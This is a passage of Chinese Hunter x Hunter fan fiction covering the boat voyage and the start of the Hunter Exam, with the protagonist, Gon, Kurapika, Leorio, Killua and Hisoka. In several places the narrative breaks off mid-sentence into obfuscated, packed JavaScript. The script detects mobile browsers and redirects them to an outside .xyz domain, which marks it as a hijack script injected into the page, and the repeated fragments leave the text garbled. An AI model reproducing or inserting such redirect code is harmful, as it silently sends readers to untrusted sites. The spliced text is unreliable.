伊洛林狠狠地把伊尔迷拉进黑名单里。 拍了拍发红的脸颊，甩开脑子里的那些杂念，伊洛林开始寻找有关于猎人考试的消息。 先通过基础的杀手联络方式，寻找到地下网络，网络里记录的地点里购买情报，情报里提供两种报名地点，而伊洛林选择了看起来行程单一的海上航行，因为再不济也是荒岛求生，在大海中央玩什么丢下所有考生这种事情，会造成零人通过，像他也并不可能全身而退。 所以这样的考试一般只是测试身体素质才对。 打定主意，伊洛林离开了巴托奇亚共和国，前往情报地点，在准确找到码头之后，第一次在这个世界登上了船。为了能够更好地欣赏到海景，也为了远离人群，他特地挑了船头的部分坐着，吹着海风，晒着日光，眯着眼睛，就好像快要睡着了一样那么舒服。 他两只手撑着船板，缓缓闭上眼睛。 不知什么时候开始自己的睡眠状态好了很多，只睡五六个小时对他来说也完全够用了。 但此刻被海风吹拂着面颊，他也有些昏昏欲睡了。 人越来越多，聚集在甲板上时就有些吵闹，伊洛林慵懒晒着太阳，长发在风中扬起，他眯起眼睛，船只拉起帆，代表着第一环节正式结束，而后面全部都是未知路，现在他要完全靠自己了。 这没关系，他能做得到的。 伊洛林听见了有人未登船的呼唤声，他没打算凑热闹，连多看一眼也没有，毕竟赶不上，无缘猎人考试，或许也是一桩好事。没能力的人可以在这里退场，免得丢了性命，毕竟猎人考试的死亡率还是很高的。 可面前黑影一闪，竟然是直直撞了过来。 伊洛林侧身躲避，利落翻身落在甲板上，而一个男孩携带着一个大叔堂堂登场，大叔脸着地摔得够呛，男孩却高兴地欢呼起来，视线接触到伊洛林，他笑容如同阳光一般灿烂：“对不起！我刚刚差点撞到你是不是？你躲避得好快哦，我是小杰，你叫什么名字啊！” 久违穿着男装的伊洛林没有回应他，只是觉得这男孩真是自来熟。 他并不会和陌生人自我介绍，闪身回到了原处，坐下的同时已经完全清醒。虽然以他的想法来说，这艘船上的所有人都不足为惧，哪怕是那个船长，但是警惕是必要的，所以就算是刚刚那样昏沉的时候他都保持了最基础的反应能力。 伊洛林掏出手机，给格蕾西发消息。 伊洛林：我也要参加猎人考试诶。 格蕾西：你哥肯？太阳打西边出来？ 伊洛林：我需要猎人证做任务啦。 格蕾西：我就知道。 格蕾西：我快到场地了，你加油！ 格蕾西：你自己去？ 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15035571|162407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >伊洛林：嗯，我自己去，不过大哥好像也要去，所以应该会遇到！ 格蕾西：晦气。 格蕾西：我等你来。 伊洛林：okok! 他心情好了许多，勾了勾唇角。 而小杰已经一步登上了床头，举目远眺欣赏了一会儿风景后，盘腿坐下熟练掏出一袋鱼饵，紧接着甩竿抛竿一气呵成，稳稳当当坐在原处。伊洛林无意观察他，只是这个男孩如同老僧入定，一动不动的时候声息都减弱，慢慢地会遗忘身侧有这么一个人，他的隐蔽练得十分出色，恐怕大哥也没办法察觉……想到伊尔迷，伊洛林又晃了晃脑子，控制住自己升腾的热意。 他终于拉起鱼竿，一只飞鱼飞速在海面上被拉扯着，尽力挣扎着，可小杰握得很紧，稳重下盘奋力拉扯，熟练地将大鱼扯上了船，那么大一条鱼扑腾在他手里，而他笑意盈盈，雀跃而明朗。 真是个容易满足的人。 伊洛林并不饿，自己也带了一点干粮，只是小杰与船长交谈着，却突然说要来暴风雨了。 航行了这么久，多数人都有些支撑不住，再来个风浪，除了真正有能力的人，其余人都会全军覆灭吧。伊洛林想了想自己的长发，从船头跳下，提早一步进了船舱内部，金发的少年已经在搭一个吊床，伊洛林和他打了个照面，走到一旁扯了条布挂好就翻身躺了上去。 两个人安静，各躺各的，保持沉默。 风浪开始了，暴风雨不断打下来，乌云密布，伊洛林在绳索上摇晃。他从不晕车的，当然也不晕船，安静等待着暴风雨的平息，这条路如他所想，很普通，很没有危险程度，恰好用来练手。 直到门吱呀一声打开，伊洛林才睁开眼睛，他坐起身就像在荡秋千，才发现小杰还在照顾那些因为晕船而脱力的人。 他也太好心了。 ……但不知道为什么总觉得心里闷得慌。 如果是格蕾西在这里，她应该会清楚，因为伊洛林曾经也像小杰这样，总是会对人好，不求回报，而现在，他已经不是以前的伊洛林了。 这样的改变是好是坏呢，无从得知。 “现在，告诉我，你们的名字还有来参加考试的理由。” 小杰一马当先地回答了他：“我叫杰，杰.富力士，因为我爸爸是猎人，我要找到他！” 伊洛林从上空一跃而下，流畅衔接了小杰的回答。 “我是伊洛林，因为有需要猎人证才能执行的任务，所以爸爸安排我来进行考试。” 完美地回答。 只是伊洛林没想到，这么简单的问题，竟然有人不想回答，而且这样的犟种居然是两个。眼睁睁看着名为雷欧力的大叔和名为酷拉皮卡的美少年开始吵架，伊洛林就有一种脑子转不过来的感觉，他看着两个人发展成出门打一架，小杰一脸认真地说要打了才能知道对方想什么。 不是，你们都这么……算了。与他无关。 伊洛林忍了又忍，还是没忍住，深深叹息。 29. 29 伊洛林实在是不想操心他们打起来这件事。 但十分钟后他还是浑身湿漉漉地坐在一旁生闷气，长发散乱在身上，用毛巾擦拭着湿漉漉的头发，单薄衣服紧紧贴着身躯，狼狈得像是只可怜的小黑猫。 雷欧力与酷拉皮卡头上各顶着一个包，标准姿势坐着乖巧道歉，新的船帆已经换好，小杰刚才在中间尴尬得不知如何是好，脸上还顶着一个巴掌印。 刚刚的事情太过混乱。 简而言之就是……雷欧力和酷拉皮卡打架，船员去更换船帆结果摔了下来，小杰下意识扑去救，结果伊洛林比他快，抢先一步抓住了船员，本来能够拎回来但是由于打了个时间差，被小杰一头撞了小腹飞出去，五个人挂在外面被浪打了个透心凉，被拉上来的时候小杰人还在伊洛林的身上趴着。 小杰喜提一巴掌。 雷欧力和酷拉皮卡喜提两拳暴击。 伊洛林物理镇压了他们的决斗，第一次把自己搞得这么狼狈，衣服透出身体的部分也让他觉得难堪，好在船上还有毛巾，船员提供了之后又感谢了好几句。伊洛林心里想，自己要是不扑出去，小杰肯定能抓住他，酷拉皮卡和雷欧力也会和刚才一样冲过去，归根结底根本不需要自己……他刚刚是不是打得太狠了一点？ ……不知道是不是因为被伊尔迷袭击了一次的关系，伊洛林本来已经习惯了男人的身份，现在被贴近身体，却会像地雷一样炸开，全身都抗拒。 “……不是你们的问题，是我自己的问题。” 伊洛林叹了口气：“是我在闹别扭，觉得你们让我变得很难堪……对不起。” “没有那回事！我…我不应该贴女孩子这么近的！”小杰努力解释，耳根子还红红的：“我以为你是长得比较漂亮的男孩子，和酷拉皮卡一样，所以，所以我没注意……” 伊洛林沉默了两秒。 “我确实是男孩子。” 雷欧力崛起了：“你不要娘娘腔一样啊！！” 酷拉皮卡一拳揍在他脑袋上，依旧万分愧疚，他也是，如果弄成这样湿淋淋的模样，肯定都想把罪魁祸首泡酒了，抬眼看到伊洛林的衣服已经透出了内里的颜色，红着脸贡献了自己最外层的衣服：“请、不介意的话请穿我的衣服，比起他们的，我应该会干净一些。” 的确，酷拉皮卡的衣服香香的……虽然也有点湿，但是比自己身上这一件好多了。 早知道不穿白色的了。 伊洛林接过衣服闻了闻，随即套上了。 船长哈哈大笑着走过来：“你们四个，全部都合格了，我们也快到目的地了。”他看了一圈眼前的四个人，尤其是这两个年纪尚小的孩子，视线在伊洛林身上停留了片刻，他露出了几分怀念的神色。 金的孩子，和……那个人的孩子吗。 “伊洛林，对吗？” “是。” “希望你能有一往无前的决心，未来或许很困难，但只要你去做，就没有什么是你无法做到的。” 伊洛林疑惑地歪了歪头，他不清楚这句话为什么要和自己说，虽然这么说不太好，但伊洛林确实还没有觉得什么事情是很困难的，毒药很难吃，训练很痛苦，黑暗很可怕，孤独和寒冷也令人畏惧，杀人更是难以接受，但是那些都过去了。 有什么东西会很困难吗？ 他下意识说了一句谢谢，船只已经停靠，伊洛林从船沿上一跃而下，只觉得衣服贴在身上不舒服，甩甩手都能甩出去些许水珠，脸上的表情越发的难看了。 船长提示是向那棵树走，伊洛林选择信任，而小杰也觉得根据那个方位走比较好，酷拉皮卡认同，只有雷欧力选择相信直达的大巴。 伊洛林要无语了。 他倒也不是对雷欧力有什么意见，也不是觉得和雷欧力成为朋友了，必须要在一起，但他还是拽着雷欧力直接往山上走。 雷欧力挣扎：“等下，等下！你力气也太大了，我说啊，你们自己不想参加就不要拉上我！我可是有必然地要加入猎人的理由啊！”酷拉皮卡走在他身边，语气平静：“我劝你少说话两句，伊洛林是为你好。” 小杰点头点头，雷欧力无奈，挫败，只能选择信服跟上。 伊洛林走到一半，又停下了脚步，雷欧力还以为是他终于发现这条路不对，但酷拉皮卡否认了，他们四个人都停下脚步，转头看向后方，而跟着的男人终于暴露在他们的眼皮子底下。 伊洛林讨厌和陌生人说话。 小杰友好打了个招呼，而酷拉皮卡保持沉默，雷欧力则是你跟着我们是想要干嘛，捡现成？ 四个人拒绝了对方的组队邀请，而他先行一步直接走在了前面，然后开始引诱各种各样的魔兽攻击后面的人，伊洛林当然不怕，就连雷欧力也没有拖后腿，只是实在是太烦人，小杰一竿子结束了这场纷乱。 然而他们四个人到达第二场选拔地点时，那个人又追了上来，并且不死心地想要第一个回答问题。 伊洛林准备拔刀，发现自己没带刀。 伊洛林放弃。 酷拉皮卡心里觉得好笑，看起来有点呆呆的是怎么回事？他忍不住凑近了一些问他：“如果想赶走他，我帮你？毕竟我们有四个人。”这并不理智，但伊洛林大概会喜欢。 他看见伊洛林像小猫一样眼睛亮了亮，又暗下去。 “算了。” 路也不是他们买的。 伊洛林裹紧酷拉皮卡的衣服，他开始耐心等待。 不过这个问题确实让人疑惑。 母亲和女友掉进水里，要救谁？ 如果是问伊洛林的话，其实他觉得自己应该会不知所措，因为不知道要怎么办，他唯一会救的应该是格蕾西，因为格蕾西是真正重要的。可是换算一下，格蕾西的旁边会有谁。 他脑海里一闪而过，是伊尔迷，奇犽，柯特，是席巴，糜稽，和基裘，但是在天平上，他们都难以和格蕾西比较。 因为，格蕾西很重要。 非常重要…… 所 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15035572|162407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以，他们，不可以……伊洛林晃了晃，有点不太想继续思考下去。如果家里有可能伤害格蕾西的话，他会很痛苦，但是也不会犹豫，所以他很感谢爸爸，愿意接纳格蕾西。 在他沉思的时候，对方已经通过了前方的道路，而伊洛林还是不明白为什么要问这个问题，明显就是一个电车难题。虽然已经忘记了电车难题是什么，但是脑子里自然而然就出现了。酷拉皮卡显然也已经知道了答案，他本想提示雷欧力，小杰也立刻明白了，但考官却禁止他们三个人回答，只有雷欧力一个人可以说出那个答案。 雷欧力举起了棍子。 伊洛林想也没想，闪身挡在了老婆婆面前，虽然觉得雷欧力并不会真的要打下去，可是这个动作他看着不喜欢。 面对伊洛林的眼睛，雷欧力无力垂下了手。 他做不到伤害老弱妇孺啦！只是，只是心中的愤怒在燃烧，他不明白自己为什么在愤怒，但是，这种选择根本就是藐视性命的。 伊洛林伸出手，摸了摸雷欧力的发顶。 “不用因为自己想要两个都救而觉得失败了，因为本来就是想要尽可能的，保护自己最重要的人。” 如果一开始就在抛弃自己重要的东西，借口是维持另一个重要的东西，那么终其一生都会在抛弃中度过人生。伊洛林微妙地懂了雷欧力，就像是自己一样，哪怕是那位母亲，自己应该也会跳下去救吧……虽然已经忘记了她的脸，她的模样，她和自己的事情，但是提起来的时候那种不愿意面对还记得。所以，雷欧力也不像表面一样。 他对雷欧力改观了。 说来也扭曲，杀手竟然也觉得生命诚可贵。 “你们……通过了！” 这个结局让雷欧力吃惊，但是伊洛林觉得还好，虽然他挺笨的，但是那位捷足先登的家伙的惨叫声他可是听得一清二楚，酷拉皮卡为雷欧力解释了答案，保持沉默才是正解。雷欧力虽然也不太懂，但是过了就过了，这是好事一件。 四个人在黑暗里前行，他们讨论起这个问题。 “我们总有一天会面对吧？” 伊洛林突然有些抗拒了，他想回家，不想去猎人考试。就好像有什么东西在等着他一样，令人难以理解的…逃避的渴望。 他垂下眼睑，脱了酷拉皮卡的衣服，身上大部分的水分已经随着时间推移而蒸发了，他闻了闻衣服，觉得自己身上的味道粘了上去。“我洗过后再还你吧……”酷拉皮卡不甚在意，他觉得借给伊洛林，比借给小杰还能接受，小杰身上也有点汗味，但是伊洛林也完全没有。 他接过衣服，套在身上时，甚至觉得还有点香味。 “没关系，我觉得并没有问题。” 雷欧力小声吐槽：“两个娘娘腔的友情真是让人感动。” 小杰挪开一步，这是明智之举，因为酷拉皮卡和伊洛林同时一拳，让雷欧力倒地不起。 “可恶的……娘娘腔……” 小杰：雷欧力……你还是不要说话了啦…… 30. 30 伊洛林还是深刻地怀疑了一下自己。 他闻到了很浓烈的魔兽味道，又或者说，幻兽？这两种生物的界限，取决于是否会改变外形，欺骗人类。 揍敌客家有一大片山，散养着众多各种种类的魔兽与幻兽，他们有自己的生态体系，只要不作死出来嚯嚯揍敌客家就能安全活着，而伊洛林与奇犽时常进行的捉迷藏实验就是在其中。 魔兽会攻击，伊尔迷会追击，两面包夹之下，能赢才是一种奇迹。 反正他和奇犽没赢过。 虽然说是用性命作为赌注，但是伊尔迷不会杀了他们，只会惩罚得更厉害一些。奇犽想偷懒的时候，伊尔迷也总会让他感受到生命受到威胁的畏惧，学会念之后，伊洛林才知道这是怎么一回事。 话归正题，他背手站在原地，小杰与酷拉皮卡追逐出了房间，而地上躺着的男人正在接受雷欧力的治疗。 伊洛林垂了垂眼睫。 他在这个房间里逛了一圈就索然无味了。 走到指定的房子，结果就恰好出现了魔兽伤人事件，住在这里的人连抵抗都没能成功，那他们又是怎么在这里住下去的？认真思考一下就觉得破绽太多，尤其是两个人住，碗筷太多，房间也是双数，甚至拖鞋都并非只有两对，可以说是备用，但是这种浓烈的长期生活才有的味道，真的很明显。 雷欧力要出去采药，伊洛林提议自己跟着去：“它暂且被酷拉皮卡和小杰追着，一时半会儿回不来，你在外面才有可能被袭击，采药不能分心。” 雷欧力想想也是，并没有拒绝。 伊洛林猜得不错，雷欧力爬下去采药的时候，魔兽出现了。 但他只来得及虚张声势一下，伊洛林的眼神就凉凉地瞥了过去：“别让认真对待患者的医生心凉。”魔兽愣了愣，而雷欧力已经爬了上来，他看了一眼魔兽，恍然大悟：“你已经没事了啊，真的是，害得我还在这里爬上爬下的！” 伊洛林拉了雷欧力一把，魔兽……或者说凶狐狸，他追上来的时候还以为会继续演戏，没想到一开场就被人揭穿了。 “你是怎么知道的？” “你的手臂上还有我给你注射的针孔。”雷欧力弹了弹衣服，不过摘到草药也填补了一下自己的空缺，箱子里还缺少一些呢，恰好这时候就补上了。 “那么你呢？这位。”凶狐狸看向伊洛林。 “没什么，我从来没信过你而已。” 伊洛林用手梳理了一下有些打结的长发，他开始想念家了，伊尔迷每次都会给他用护发精油和身体乳，第一次在外面一个人这么长时间，把自己搞得有点乱糟糟的。小杰和酷拉皮卡也成功识破了凶狐狸的变换，四个人重新聚集在一起，酷拉皮卡从自己包里拿了梳子给伊洛林。 他很温柔，冷静也沉着，虽然脾气有时候也会像个小孩子，但是伊洛林很喜欢他。 他梳理着长发，泡过水之后得好好护理才行。 于是酷拉皮卡又掏出了护发精油。 雷欧力看得目瞪口呆：“精致女生出行吗你们两个？” 小杰挪开脚步，下一秒雷欧力再次倒地，承受命运的痛击。 小杰：雷欧力……都说了不要再说了啦，你都要被打成满头包了！ 雷欧力：我还能□□地继续…… 伊洛林面对雷欧力似乎也会有点放肆自己的小脾气，他虽然想家，但是又在这个时候微妙地感受到，在外面有认识的朋友一起玩，是一件幸福的事情。想格蕾西了，如果她在这里，一定能够更开心。 凶狐狸一家通过了他们的考核，夸赞了小杰的敏锐，酷拉皮卡的观察力，雷欧力精湛的医术，和伊洛林的……呃没出手就是好事，他一出手估计凶狐狸就得拼命反抗了。凶狐狸决定送他们去真正的猎人考试地点。 酷拉皮卡一只脚，伊洛林一只脚，他们两个凑得近，方便对话。 “你心情好像很好，是有什么好事发生了吗？” “嗯，快见到我的朋友了，所以很高兴。”伊洛林忍不住轻轻扬了扬唇角，他的长发在风中散开，月光柔和落在面颊上，看起来像黑色却被照亮得有些透和浅的瞳孔倒映着酷拉皮卡的脸：“我想介绍你们给她认识，她一定也会很喜欢你们。” 她？ 是女孩子啊。 酷拉皮卡咀嚼着这个性别，想到一开始伊洛林的抗拒，始终徘徊在人群之中，一起行走到这里，却也变得能够接受他们了，不禁莞尔。 “嗯，我也很想认识你的朋友。” 所以，我们是朋友了。 这句潜台词他没说出口，不过很明显。 他还没有这么仔细地看过伊洛林的脸，此刻完全展露在眼中，是下垂的眉眼，显得乖巧又懂事，一张看起来格外乖巧的面庞，一开始为什么会觉得他冷漠又疏离呢？他总是用长发遮挡住自己的表情，总是抿唇不说话，实际上话也不算少，甚至行为举止里还有贴心的关切。眼角下那颗泪痣总是会吸引视线，让人忍不住多看两眼。 “你在看什么？” 酷拉皮卡骤然回神，耳根微红：“抱歉……我太不懂礼貌了，但是，只是觉得你很漂亮。” 伊洛林眨了眨眼。他抿着唇别过脸，隔了几秒才小声回答。 “你也……很漂亮。” 酷拉皮卡那张漂亮的脸，是一开始好感度的来源。他心虚了一瞬间，觉得自己颜控也不是什么大事，毕竟自己家人都长得好看，就算是二哥减减肥那也是美男子才对！思考一下，自己该不会是要以貌取人了吧？不行，不能这样。 伊洛林沉痛反省了一下自己。 然后抛之脑后。 长得漂亮一定有他的道理，长得漂亮的都是好人。 像格蕾西那么好的人，长得牛逼也是情有可原，那张脸确实长得特别特别好看。 于是伊洛林心情又好起来。 酷拉皮卡观察着他，看见他又自己高高兴兴的，跟个冒花花的小喷泉似的，心里下了判断。看起来警惕，拒人于千里之外，实际上只是个单纯的家伙…… 会自己哄自己的那种。 伊洛林甚至挂在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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果不其然，两个人瞬间回过头来：“伊洛林，你说，猎人考试到底是为什么而来的！” 伊洛林眨了眨眼。 “我是听爸爸和大哥的吩咐来的，所有的一切都是他们安排好了我去做就行了，你问我的话我也不是很清楚，只要对家庭有益处就行。” 超绝贡献派回答。 恰好电梯到了底部，地下全貌映入眼帘。 奇犽一眼看见了伊洛林，震惊得差点喷出来，还好没在吃东西。他刚想叫伊洛林的名字，气势汹汹走了过去，结果还没有三步，就看见伊洛林唰一下冲了出去。 “格蕾西——！！” 他猛地冲进格蕾西怀里，张开双臂的女孩被撞得踉跄了两步，两个人却紧紧抱在一起，恍若未觉身侧是个西索大杀器。伊洛林蹭了蹭格蕾西，两年未见，他太想格蕾西了，被关在家里也不能出去，只能通过手机联络，可怜巴巴的伊洛林和她亲密无间地相拥。 “格蕾西，我好想你，好想你。” “我也想你了——” 奇犽的脸黑了一半。 什么情况，连自己哥哥都没看见，光顾着看朋友去了？这家伙……绝对不行啊！！早恋！！ 31. 31 奇犽气势汹汹走了过去。 “喂——伊洛林！你根本就没有看见我啊！” 他的手碰到伊洛林的肩膀，就被格蕾西直接拦下，女孩搂着伊洛林警惕看着这个不请自来的家伙，眉头都皱着，奇犽莫名其妙红了一下脸，又硬气了起来：“我和我弟弟说话而已，又不是莫名其妙的人？” 伊洛林还抱着格蕾西，看见奇犽，自然而然地噘起嘴。 “哥哥，你居然打伤了妈妈和二哥，我讨厌哥哥了。” 奇犽心虚了一瞬间，他才不在乎自己是不是打伤了家里人，又不是死了，死了的话自己才会后悔吧。他知道伊洛林对家人很看重，伸手揉了揉他发顶：“抱歉抱歉，哥哥下次知道了，不会了，你就原谅哥哥吧？” “嗯——这还差不多。” “说起来，这就是那个格蕾西？”奇犽的视线转移到格蕾西身上，女孩子挑眉，用一种就是我，你有什么话想说吗的表情看着奇犽，她长得漂亮，眉目脸都是张扬，虽然才十二岁，但能直白窥见未来的成长。奇犽同她打了声招呼：“我是奇犽，伊洛林的三哥。” 虽然觉得揍敌客家的都不是好东西，但格蕾西是伸手不打笑脸人的，因此也勉强正常介绍了一下自己。 伊洛林回身，招了招手，一堆人面对面。 “这个是小杰，酷拉皮卡，还有雷欧力，我在路上认识的新朋友。”伊洛林刚说完，奇犽就耷拉着脸吐槽：“你不要在外面随便就认识什么人啊……”格蕾西看了一眼三个人，点了点头：“你们好，我是格蕾西。” “你好，我是小杰！”小杰是个自来熟，热情洋溢开始打招呼，酷拉皮卡笑了笑：“伊洛林一直说起你，他很想见你。” 格蕾西和伊洛林到现在为止都没放开对方，感情确实很好。 尤其是伊洛林，他笑容都丰富了。 从旁伸出来一只手，无情地分开了伊洛林与格蕾西。 “完全无视我了吗~伊洛林?”西索以强硬的姿态分开他们后，遭遇了格蕾西的脚趾头碾压式暴击，但他本人并不在意，甚至屈起手指捏了一下伊洛林的脸，奇犽瞬间将伊洛林抢走，格蕾西更是狠狠补了两脚。 “你这个变态不要随便碰她！” “别对别人的弟弟动手动脚啊！” 格蕾西与奇犽对视一眼，两个人似乎微妙地成为同一种人的，而伊洛林还在愣神，眨了眨眼，没反应过来。 “她？”奇犽愣了一下：“不是，他是男的啦！” “嗯……我知道我就是……” 习惯，习惯。 乱成一锅粥的局面，有个人想凑过来，却挤不进来，毕竟还有个西索在隔壁笑眯眯地看着。 按伊尔迷的话来说，伊洛林往那一站跟个小蛋糕似的。 西索觉得碍眼，但他还是能对伊洛林动手动脚，因为这样格蕾西就会发脾气，他笑着勾住妹妹往怀里带，声音黏稠发腻：“怎么了，吃醋了吗？哥哥可是最喜欢你的…对吧？” 格蕾西没忍住，表演了一个干呕。 小杰恍然大悟：“我懂了，这个就是故意让你吃醋！”奇犽猛转头，小杰讪讪一笑：“那个……我看电视上，好像就是这么说的。”酷拉皮卡保持沉默，而雷欧力忍不住吐槽，这是什么家庭伦理剧，角色太多了吧，写都写不过来了。 不得不说，雷欧力真相了。 不等他们再叙旧，第一场考试就已经开始，考官出现在考场上，他们随着人流跑起来，把其他人抛在脑后，开始聊着天。 “你和你哥都是黑头发，怎么你三哥是白头发？” “爸爸是白头发，爷爷不知道是白头发还是头发白了。” “噢噢噢，这是什么遗传？” “听说是呢！三哥的潜力很高，所以也是下一任家主，爸爸哥哥对他可严格了。” “你和你哥长得不像，俩哥都不像！” “嗯……可能我比较像妈妈？” “你哥那死弟控怎么没跟着你？” “对我来说是考试啦……西索跟你的关系好起来了吗？” “纯恶心人的东西！” 格蕾西说着浑身就起了鸡皮疙瘩，回头一看西索确实在后面跟着，真是穿了安全裤都觉得有点不安全的时候。伊洛林微微一回头，甩出去两枚针。他学穴位学得上头，画了设计图交出去，让人定制了一副中医针回来，家里常做也不觉得自己一定要收回来，但是能打西索他就绝对不会吝啬。 西索随手就接住了，那笑容仿佛在说，你还差得远。 伊洛林唰一下脱了外衣，直接递给格蕾西：“缠腰上，我们跑前面一点。” 伊洛林里头只剩下一件贴身的白衣服。 之前湿了水是透了两层进去还能看见，现在衣服干了就不觉得有什么所谓，格蕾西想了想还是接受了，外衣挂在腰上，垂落下去的长度比裙子更长一点。 他们手拉手跑到最前方，把别人都抛在脑后。 雷欧力气喘吁吁地跑着：“他们……他们感情真好……但是……能不能管一下我们的死活……” “雷欧力，你现在最重要的是调整呼吸。”酷拉皮卡提醒他，小杰和奇犽此刻已经就滑板和鱼竿聊得火热，伊洛林只是担心了一瞬间，立刻就抛在脑后，他认为雷欧力他们都还挺有能耐的，这点考试应该不在话下，如果坚持不下去，那就是失败，输了的话下次再来。 “说起来，那个酷拉皮卡长得很漂亮诶。” “嗯！他长得很好看，人也很温柔，还很聪明呢。” “哎呀，这种小孩真不错，那个小杰也挺好的，看起来都能成为不错的朋友。” “嗯，但是我只要有格蕾西就足够了。” 伊洛林弯唇，他很少会在意什么东西，但是只要在意了就会很重视，格蕾西正是他最为在意的人。这个世界或许不是他原本的那个世界，自己也不是自己，但是，格蕾西是深深，这是绝对的。 通道太长，仿佛没有终点，两个人跑着跑着，已经逐渐有点无聊。 “第一场是耐力吗？” “大概，好无聊哦，聊点什么？” “嗯——你觉得，你觉得，我应该喜欢男生还是女生？” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15035574|162407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这是个充满哲学的问题，格蕾西被难倒了。 于情于理，伊洛林应该喜欢男的，可是他现在自己是男的，那么喜欢女的？可是他自己本身是女孩子。如果说什么，喜欢不是性别是人，那也太扯淡了，这玩意儿纯粹天生的啊。她欲言又止，止又欲言。 “嗯……” 等下。 格蕾西敏锐发觉了什么。 “你为什么会突然问这种问题？” 伊洛林被反将一军，他愣了一下，耳根子红了，脸红了，连带着到脖子那块也红了，只穿着无袖白色打底衣，整个人红得像是熟透的虾。而伊洛林别过脸时整个人都在冒烟，脑子里不受控制地想起来那天晚上伊尔迷的所作所为，他说不出来话，但是那个难以形容的表情已经让格蕾西隐约懂了什么。 “……哈哈，让我猜一下，不会是你大哥对你做了什么吧？” “砰！！” 爆炸声像是伊洛林的内心，轰然撞塌了防备。 格蕾西停下脚步，所有人都停下脚步，毕竟这场爆炸是奇犽他们搞出来的，格蕾西阴沉着脸，望了过去：“那小子是他弟弟，家里很重要的存在？哈，打不过伊尔迷，我还打不过他弟弟吗！！” 眼见着格蕾西都要过去揍人了，伊洛林赶紧死死抱住格蕾西。 “没做什么！真没做什么！” “你猜我是信你，还是你信我是秦始皇？” “吾皇万岁万岁万万岁！！” 格蕾西给气笑了，就这还好意思说什么都没做？没做你紧张什么，脸红什么，遮掩什么？好好好，她就知道，伊尔迷就不是个好东西！ “想我不追究也行，你得告诉我。” 告诉你你会气死的吧……伊洛林心有戚戚，讨好地拉了拉格蕾西的衣角。她伏低做小成这样，格蕾西只能憋着一口气，在心里骂。 揍敌客真是全家每个人一巴掌，伊尔迷更是两巴掌，柯特最装！ 奇犽莫名其妙被格蕾西瞪了，莫名其妙。 “小杰，你有没有觉得格蕾西在瞪我？” “没有吧……奇犽你太敏感了啦！” 最好是没有啦。 奇犽总觉得自己是在被骂。 而好不容易跑到出口处，随之而来的却是真假考官，伊洛林嗅一嗅就知道的事情，雷欧力却因为太过劳累丧失了基本的判断，倒不如说他本来就挺容易生气，刚刚又跑了那么长的一段路，考官还完全不说话。是优点也是缺点呢…… 格蕾西下意识一抽锁链，棱刺迅速切割开扑克牌。 幻兽倒地死去，扑克牌轻而易举地划破了它的喉咙，而考官也松开手，丢弃了向自己而来的扑克牌。 伊洛林沉了沉面色。 “原来如此，原来如此——这样一来，活着的就是真的考官了。”西索笑着，瞥了一眼伊洛林和格蕾西，格蕾西早就习惯了这种突然的袭击，可是伊洛林的眼中是杀意。 凝聚的杀意。 ——突然觉得这个一眼到头的小家伙不是那么乏味了，或许，仔细品尝，也能尝到甜头呢? 32. 32 伊洛林本来还想留下来和西索干一架。 他很少有不理智的时候，所以格蕾西硬拉着他，飞速跑掉。 “你让西索和后面的人玩！”格蕾西心道不好，伊洛林对什么事都无所谓，偏偏遇到自己的事情时，整个人就会成为一颗小地雷，干不过就往死里干，要不说他们会成为闺蜜呢，暴怒的时候打人就没一个能心软的。 “……后面的人是小杰和酷拉皮卡。” “死不了，死不了！” 死了只能说明他们这辈子命到头了。 格蕾西毫不在乎，拽着这个牛劲都用上来的家伙往前跑，这条路太混乱，身边还有个钉子男咔咔咔，咔什么咔，等下就把你咔了！ 伊洛林生着闷气，格蕾西也不高兴，他俩算扯平。 直到到了目的地，伊洛林左右寻找起来，才看见小杰和酷拉皮卡姗姗来迟，而雷欧力是被西索扛回来的。奇犽找到了伊洛林，六个人重新聚在一起，伊洛林戳戳雷欧力肿起来的脸，惹得他惨叫一声醒来。 “呃……好多人…我的脸是不是有点不对？” 酷拉皮卡认真回应：“没有啊，一模一样。” 伊洛林还没说什么，就被奇犽拉一边去了：“你刚刚是不是要和西索打架？不要做傻事，那家伙和大哥差不多实力吧，你绝对赢不了的！”奇犽脸上的表情是做不得假的关心，他从小就觉得自己家里真是冷漠又无情，家里大得可怕，冷清又没什么人，佣人也总是在暗处，他们时常被人监视着，没有任何温暖，只有伊洛林像个和他一样的正常人。 这绝对就是因为他们是双胞胎！ “我们可是双胞胎，你死了的话，我肯定也要很难受的！” 奇犽自认为找了个好理由。 